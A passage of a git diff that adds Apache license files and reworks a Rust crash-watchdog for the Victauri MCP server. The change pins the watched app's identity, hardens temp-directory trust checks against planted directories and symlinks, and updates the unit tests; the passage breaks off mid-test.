this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/crates/victauri-test/LICENSE b/crates/victauri-test/LICENSE new file mode 100644 index 00000000..bed34b88 --- /dev/null +++ b/crates/victauri-test/LICENSE @@ -0,0 +1,190 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + Copyright 2026 4DA Systems Pty Ltd + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/crates/victauri-watchdog/LICENSE b/crates/victauri-watchdog/LICENSE new file mode 100644 index 00000000..bed34b88 --- /dev/null +++ b/crates/victauri-watchdog/LICENSE @@ -0,0 +1,190 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + Copyright 2026 4DA Systems Pty Ltd + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/crates/victauri-watchdog/src/main.rs b/crates/victauri-watchdog/src/main.rs index e5a5b841..63e74867 100644 --- a/crates/victauri-watchdog/src/main.rs +++ b/crates/victauri-watchdog/src/main.rs @@ -88,14 +88,76 @@ fn parse_args(args: &[String]) -> (Option, Option) { // fixed port can watch the wrong app or nothing at all. `/health` needs no auth, // so only the port is read — never the token. +/// Which discovery entries the watchdog is willing to follow. +/// +/// The watchdog exists to *report* a crash. If it followed "whatever Victauri app is +/// running" after the watched one died, a second app would turn a crash into a silent +/// green. So once an app is resolved, its identity is PINNED and only entries with that +/// identity are ever followed afterwards. +#[derive(Debug, Clone, PartialEq, Eq)] +enum Selector { + /// Nothing resolved yet and no `--app`: any single live app (the first resolution). + Any, + /// `--app` / `VICTAURI_APP`: matches the bundle `identifier` or the `product_name`. + App(String), + /// Pinned after resolution: the app's bundle identifier (or, for an entry written by a + /// plugin without an identifier, its product name). Only this identity is followed. + Pinned(String), + /// Pinned to one process whose discovery entry carried no identity at all: it can never + /// be re-identified after a restart, so the watchdog never follows anything else. + Pid(u32), +} + +impl Selector { + fn matches(&self, pid: u32, meta: &serde_json::Value) -> bool { + let field = |k: &str| { + meta.get(k) + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty()) + }; + match self { + Self::Any => true, + Self::App(want) => { + field("identifier") == Some(want.as_str()) + || field("product_name") == Some(want.as_str()) + } + Self::Pinned(id) => match field("identifier") { + Some(identifier) => identifier == id, + None => field("product_name") == Some(id.as_str()), + }, + Self::Pid(p) => *p == pid, + } + } + + /// The selector to use from now on, once `app` has been resolved. + fn pin(&self, app: &DiscoveredApp) -> Self { + match self { + Self::Pinned(_) => self.clone(), + _ => app + .identity + .clone() + .map_or(Self::Pid(app.pid), Self::Pinned), + } + } +} + +/// One live discovery entry. +#[derive(Debug, Clone, PartialEq, Eq)] +struct DiscoveredApp { + pid: u32, + port: u16, + /// Bundle identifier, else product name, from `metadata.json` (if any). + identity: Option, +} + /// Outcome of scanning the discovery directory. #[derive(Debug, PartialEq, Eq)] enum Discovery { /// Exactly one live app matched. - Found(u16), + Found(DiscoveredApp), /// No live app matched. None, - /// Several live apps matched and no `--app` selector disambiguates them. + /// Several live apps matched and the selector does not disambiguate them. Ambiguous(Vec<(u32, u16)>), } @@ -103,13 +165,19 @@ fn discovery_base_dir() -> PathBuf { std::env::temp_dir().join("victauri") } -/// Scan `base` for live Victauri apps (owning pid alive), optionally filtered by -/// `app` against the discovery `metadata.json` identity. -fn discover_in(base: &Path, app: Option<&str>, is_alive: impl Fn(u32) -> bool) -> Discovery { +/// Scan `base` for live Victauri apps (owning pid alive) that match `selector`. +/// +/// Both the base directory and every entry directory must pass [`dir_is_trusted`]; an +/// untrusted base yields [`Discovery::None`] (on Unix `/tmp` is world-writable, so a planted +/// `victauri/` tree must not be able to steer the watchdog). +fn discover_in(base: &Path, selector: &Selector, is_alive: impl Fn(u32) -> bool) -> Discovery { + if !dir_is_trusted(base) { + return Discovery::None; + } let Ok(entries) = std::fs::read_dir(base) else { return Discovery::None; }; - let mut found: Vec<(u32, u16)> = Vec::new(); + let mut found: Vec = Vec::new(); for entry in entries.flatten() { let path = entry.path(); let Some(pid) = path @@ -119,7 +187,7 @@ fn discover_in(base: &Path, app: Option<&str>, is_alive: impl Fn(u32) -> bool) - else { continue; }; - if !dir_is_trusted(&path) || !is_alive(pid) { + if !dir_is_trusted(&path) { continue; } let Some(port) = std::fs::read_to_string(path.join("port")) @@ -129,42 +197,108 @@ fn discover_in(base: &Path, app: Option<&str>, is_alive: impl Fn(u32) -> bool) - else { continue; }; - if let Some(want) = app { - let meta: serde_json::Value = std::fs::read_to_string(path.join("metadata.json")) - .ok() - .and_then(|s| serde_json::from_str(&s).ok()) - .unwrap_or_default(); - let matches = ["identifier", "product_name"] - .iter() - .any(|k| meta.get(k).and_then(|v| v.as_str()) == Some(want)); - if !matches { - continue; - } + let meta: serde_json::Value = std::fs::read_to_string(path.join("metadata.json")) + .ok() + .and_then(|s| serde_json::from_str(&s).ok()) + .unwrap_or_default(); + if !selector.matches(pid, &meta) { + continue; } - found.push((pid, port)); + // Liveness last: it spawns a process on Windows, so only pay it for matches. + if !is_alive(pid) { + continue; + } + let identity = ["identifier", "product_name"].iter().find_map(|k| { + meta.get(*k) + .and_then(|v| v.as_str()) + .filter(|s| !s.is_empty()) + .map(str::to_string) + }); + found.push(DiscoveredApp { + pid, + port, + identity, + }); } - match found.as_slice() { - [] => Discovery::None, - [(_, port)] => Discovery::Found(*port), + match found.len() { + 0 => Discovery::None, + 1 => Discovery::Found(found.remove(0)), _ => { - found.sort_unstable(); - Discovery::Ambiguous(found) + let mut apps: Vec<(u32, u16)> = found.iter().map(|a| (a.pid, a.port)).collect(); + apps.sort_unstable(); + Discovery::Ambiguous(apps) } } } -/// On Unix the temp root is world-writable: only trust a real (non-symlink) -/// directory that is not group/other-writable. Windows temp is per-user. +/// On Unix the temp root is world-writable: only trust a real (non-symlink) directory +/// that is OWNED by the current effective user and is not group/other-writable. Permission +/// bits alone are not enough — another local user can create a `0700` directory of their +/// own. Mirrors `victauri-test`'s `discovery::dir_is_trusted`. #[cfg(unix)] fn dir_is_trusted(path: &Path) -> bool { - use std::os::unix::fs::PermissionsExt; - std::fs::symlink_metadata(path) - .is_ok_and(|m| m.file_type().is_dir() && (m.permissions().mode() & 0o022) == 0) + use std::os::unix::fs::{MetadataExt, PermissionsExt}; + let Ok(meta) = std::fs::symlink_metadata(path) else { + return false; + }; + if !meta.file_type().is_dir() { + return false; // reject symlinks / non-dirs + } + let Some(euid) = current_euid() else { + return false; // can't establish our uid -> don't trust + }; + meta.uid() == euid && (meta.permissions().mode() & 0o022) == 0 +} + +/// Determine the current effective uid without `unsafe` code: exclusively create a file +/// and read back its owner uid (same approach as `victauri-test`). Cached for the process. +#[cfg(unix)] +fn current_euid() -> Option { + use std::sync::OnceLock; + use std::sync::atomic::{AtomicU64, Ordering}; + + static EUID: OnceLock> = OnceLock::new(); + static NEXT_PROBE: AtomicU64 = AtomicU64::new(0); + *EUID.get_or_init(|| { + for _ in 0..16 { + let sequence = NEXT_PROBE.fetch_add(1, Ordering::Relaxed); + let probe = std::env::temp_dir().join(format!( + ".victauri_watchdog_uidprobe_{}_{}", + std::process::id(), + sequence + )); + if let Some(uid) = uid_from_exclusive_probe(&probe) { + return Some(uid); + } + } + None + }) +} + +/// Create a UID probe without following a pre-planted symlink in the shared temp dir +/// (`create_new` = `O_EXCL`, which refuses any existing path including a symlink). +#[cfg(unix)] +fn uid_from_exclusive_probe(probe: &Path) -> Option { + use std::os::unix::fs::{MetadataExt, OpenOptionsExt}; + + let file = std::fs::OpenOptions::new() + .write(true) + .create_new(true) + .mode(0o600) + .open(probe) + .ok()?; + let uid = file.metadata().ok().map(|m| m.uid()); + drop(file); + let _ = std::fs::remove_file(probe); + uid } +/// Windows temp is per-user and the plugin restricts the discovery dir's ACL to the +/// current user; still reject symlinks/junctions (a reparse point is not `is_dir()` under +/// `symlink_metadata`). #[cfg(not(unix))] fn dir_is_trusted(path: &Path) -> bool { - path.is_dir() + std::fs::symlink_metadata(path).is_ok_and(|m| m.is_dir()) } /// Cross-platform "is this pid a live process?" (same approach as victauri-test). @@ -188,23 +322,88 @@ fn is_process_alive(pid: u32) -> bool { .is_ok_and(|s| s.success()) } -/// Resolve the port to poll from discovery, logging the outcome. Returns `None` -/// when discovery yields no single app (the caller keeps its current port). -fn discover_port(app: Option<&str>) -> Option { - match discover_in(&discovery_base_dir(), app, is_process_alive) { - Discovery::Found(port) => Some(port), +/// Resolve the app to watch from discovery, logging an ambiguous outcome. Returns `None` +/// when discovery yields no single matching app. +fn discover_app(selector: &Selector) -> Option { + match discover_in(&discovery_base_dir(), selector, is_process_alive) { + Discovery::Found(app) => Some(app), Discovery::None => None, Discovery::Ambiguous(apps) => { tracing::warn!( ?apps, - "Several Victauri apps are running — set --app (or VICTAURI_APP) \ - or VICTAURI_PORT to choose one" + ?selector, + "Several matching Victauri apps are running — set --app \ + (or VICTAURI_APP) or VICTAURI_PORT to choose one" ); None } } } +/// What the watchdog polls. +#[derive(Debug, Clone, PartialEq, Eq)] +struct Target { + port: u16, + /// The watched process, when resolved by discovery. A dead pid is a failure even if + /// something else now answers on the port (that would be a different app). + pid: Option, +} + +/// Initial target before the first poll. +/// +/// - explicit port → that port, no discovery (pre-discovery behaviour); +/// - discovered app → its port + pid, and the selector is pinned to its identity; +/// - `--app` set but not found → `None`: the app is reported DOWN. Falling back to the +/// default port would watch whatever unrelated app holds 7373 and hide the outage; +/// - no `--app`, nothing found → the default port (legacy fallback, identity unknown). +fn initial_target( + config: &Config, + selector: &mut Selector, + discovered: Option, +) -> Option { + if config.port_explicit { + return Some(Target { + port: config.port, + pid: None, + }); + } + if let Some(app) = discovered { + *selector = selector.pin(&app); + return Some(Target { + port: app.port, + pid: Some(app.pid), + }); + } + if config.app.is_some() { + None + } else { + Some(Target { + port: DEFAULT_PORT, + pid: None, + }) + } +} + +/// While failing, re-resolve through discovery — ONLY among entries matching the (pinned) +/// selector — and follow the watched app if it restarted on a new pid/port. Returns the +/// new target when it changed. +fn follow_target( + current: Option<&Target>, + selector: &mut Selector, + discovered: Option, +) -> Option { + let app = discovered?; + let next = Target { + port: app.port, + pid: Some(app.pid), + }; + if current == Some(&next) { + return None; + } + *selector = selector.pin(&app); + Some(next) +} + /// Parse `VICTAURI_INTERVAL` (seconds) and clamp it up to `MIN_INTERVAL_SECS`. /// /// Unset or unparseable falls back to `DEFAULT_INTERVAL_SECS`. A configured @@ -267,7 +466,10 @@ async fn main() -> anyhow::Result<()> { println!("Crash-recovery sidecar for Victauri MCP server\n"); println!("USAGE: victauri-watchdog [PORT] [--app ]\n"); println!("Without an explicit port, the port is discovered from"); - println!("/victauri//port (live apps only), falling back to 7373.\n"); + println!("/victauri//port (live apps only), falling back to 7373 when"); + println!("no --app is given. Once an app is found its identity is pinned: the"); + println!("watchdog follows only that app across restarts and never switches to a"); + println!("different one. With --app and no matching app, it reports the app DOWN.\n"); println!("OPTIONS:"); println!(" --app Watch the app with this bundle identifier / product name"); println!(" -h, --help Print help"); @@ -291,23 +493,30 @@ async fn main() -> anyhow::Result<()> { .init(); let config = Config::from_env(); - let mut port = config.port; - if !config.port_explicit { - if let Some(p) = discover_port(config.app.as_deref()) { - tracing::info!(port = p, app = ?config.app, "Discovered Victauri app"); - port = p; - } else { - tracing::info!( - port, - app = ?config.app, - "No single live Victauri app discovered yet — polling the default port" - ); + let mut selector = config.app.clone().map_or(Selector::Any, Selector::App); + let discovered = if config.port_explicit { + None + } else { + discover_app(&selector) + }; + let mut target = initial_target(&config, &mut selector, discovered); + match (&target, config.port_explicit) { + (Some(t), false) if t.pid.is_some() => { + tracing::info!(port = t.port, pid = ?t.pid, identity = ?selector, "Discovered Victauri app — identity pinned"); } + (Some(t), false) => tracing::info!( + port = t.port, + "No single live Victauri app discovered yet — polling the default port" + ), + (None, _) => tracing::warn!( + app = ?config.app, + "The selected Victauri app is not running (no matching discovery entry) — reporting it DOWN until it appears" + ), + _ => {} } - let mut url = format!("http://127.0.0.1:{port}/health"); tracing::info!( - port, + port = target.as_ref().map(|t| t.port), interval_secs = config.interval.as_secs(), max_failures = config.max_failures, on_failure = config.on_failure_cmd.as_deref().unwrap_or("(none)"), @@ -324,8 +533,35 @@ async fn main() -> anyhow::Result<()> { loop { tokio::time::sleep(config.interval).await; - match client.get(&url).send().await { - Ok(resp) if resp.status().is_success() => { + // A watched pid that died is a crash even if some other app now answers on the + // same port — never let a different app mask it. + let watched_pid_dead = target + .as_ref() + .and_then(|t| t.pid) + .is_some_and(|pid| !is_process_alive(pid)); + + let health = match &target { + None => Err( + "the selected Victauri app is not running (no matching discovery entry)" + .to_string(), + ), + Some(_) if watched_pid_dead => Err("the watched app process has exited".to_string()), + Some(t) => Ok(client + .get(format!("http://127.0.0.1:{}/health", t.port)) + .send() + .await), + }; + + match health { + Err(reason) => { + consecutive_failures += 1; + tracing::warn!( + failure_count = consecutive_failures, + reason, + "Victauri app down" + ); + } + Ok(Ok(resp)) if resp.status().is_success() => { if consecutive_failures > 0 { tracing::info!( after_failures = consecutive_failures, @@ -335,7 +571,7 @@ async fn main() -> anyhow::Result<()> { action_fired = false; } } - Ok(resp) => { + Ok(Ok(resp)) => { consecutive_failures += 1; tracing::warn!( status = %resp.status(), @@ -343,7 +579,7 @@ async fn main() -> anyhow::Result<()> { "Health check returned non-success status" ); } - Err(e) => { + Ok(Err(e)) => { consecutive_failures += 1; tracing::warn!( error = %e, @@ -353,22 +589,23 @@ async fn main() -> anyhow::Result<()> { } } - // The app may have restarted on a different port (7373 taken → 7374+). With - // no explicit port, re-resolve via discovery on failure and follow it; the - // next successful poll then logs the recovery. Discovery only runs while + // The watched app may have restarted (new pid) on a different port (7373 taken → + // 7374+). With no explicit port, re-resolve via discovery on failure — restricted to + // the PINNED identity, so a different app is never silently adopted — and follow it; + // the next successful poll then logs the recovery. Discovery only runs while // failing, so a healthy app costs no extra process spawns. if consecutive_failures > 0 && !config.port_explicit - && let Some(p) = discover_port(config.app.as_deref()) - && p != port + && let rediscovered = discover_app(&selector) + && let Some(next) = follow_target(target.as_ref(), &mut selector, rediscovered) { tracing::info!( - from = port, - to = p, - "Victauri app moved — following discovered port" + from = ?target, + to = ?next, + identity = ?selector, + "Watched Victauri app restarted — following it" ); - port = p; - url = format!("http://127.0.0.1:{port}/health"); + target = Some(next); } if consecutive_failures >= config.max_failures && !action_fired { @@ -492,7 +729,22 @@ mod tests { write_entry(tmp.path(), 300, "not-a-port", None); std::fs::create_dir_all(tmp.path().join("not-a-pid")).unwrap(); let alive = |pid: u32| pid != 200; - assert_eq!(discover_in(tmp.path(), None, alive), Discovery::Found(7374)); + assert_eq!( + discover_in(tmp.path(), &Selector::Any, alive), + Discovery::Found(app(100, 7374, Some("com.a"))) + ); + } + + fn app(pid: u32, port: u16, identity: Option<&str>) -> DiscoveredApp { + DiscoveredApp { + pid, + port, + identity: identity.map(str::to_string), + } + } + + fn app_sel(s: &str) -> Selector { + Selector::App(s.to_string()) } #[test] @@ -502,26 +754,208 @@ mod tests { write_entry(tmp.path(), 200, "7375", Some("com.b")); let alive = |_| true; assert_eq!( - discover_in(tmp.path(), None, alive), + discover_in(tmp.path(), &Selector::Any, alive), Discovery::Ambiguous(vec![(100, 7373), (200, 7375)]) ); assert_eq!( - discover_in(tmp.path(), Some("com.b"), alive), - Discovery::Found(7375) + discover_in(tmp.path(), &app_sel("com.b"), alive), + Discovery::Found(app(200, 7375, Some("com.b"))) ); // product_name also matches (both entries share "P" here → ambiguous). assert!(matches!( - discover_in(tmp.path(), Some("P"), alive), + discover_in(tmp.path(), &app_sel("P"), alive), Discovery::Ambiguous(_) )); assert_eq!( - discover_in(tmp.path(), Some("com.missing"), alive), + discover_in(tmp.path(), &app_sel("com.missing"), alive), + Discovery::None + ); + assert_eq!( + discover_in(&tmp.path().join("absent"), &Selector::Any, alive), + Discovery::None + ); + } + + #[test] + fn pinned_identity_never_follows_a_different_app() { + // The watched app (com.a, pid 100) died; the only live app is com.b. A pinned + // watchdog must NOT adopt it — that would turn a crash into a silent green. + let tmp = tempfile::tempdir().unwrap(); + write_entry(tmp.path(), 100, "7373", Some("com.a")); + write_entry(tmp.path(), 200, "7374", Some("com.b")); + let alive = |pid: u32| pid != 100; + let pinned = Selector::Pinned("com.a".to_string()); + assert_eq!(discover_in(tmp.path(), &pinned, alive), Discovery::None); + + // …but it DOES follow the same app restarted under a new pid/port. + write_entry(tmp.path(), 300, "7375", Some("com.a")); + assert_eq!( + discover_in(tmp.path(), &pinned, alive), + Discovery::Found(app(300, 7375, Some("com.a"))) + ); + } + + #[test] + fn pinned_identity_is_the_identifier_not_the_shared_product_name() { + // Resolved by product_name "P" → pinned to the bundle identifier, so a different + // app sharing the product name is not followed. + let found = app(100, 7373, Some("com.a")); + let pinned = app_sel("P").pin(&found); + assert_eq!(pinned, Selector::Pinned("com.a".to_string())); + let other = serde_json::json!({"identifier": "com.b", "product_name": "P"}); + assert!(!pinned.matches(200, &other)); + let same = serde_json::json!({"identifier": "com.a", "product_name": "P"}); + assert!(pinned.matches(300, 